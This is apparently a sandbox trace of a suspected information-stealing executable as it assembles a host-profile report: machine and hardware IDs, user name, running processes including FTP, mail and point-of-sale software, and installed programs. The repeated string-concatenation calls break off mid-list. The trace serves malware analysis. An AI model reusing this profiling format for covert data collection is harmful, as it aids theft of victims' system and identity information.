[0054.956] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\n", lpString2="Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508"
[0054.956] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="14.25.28508.3", lpcbData=0x1816c0*=0xe) returned 0x0
[0054.956] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 ["
[0054.956] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe 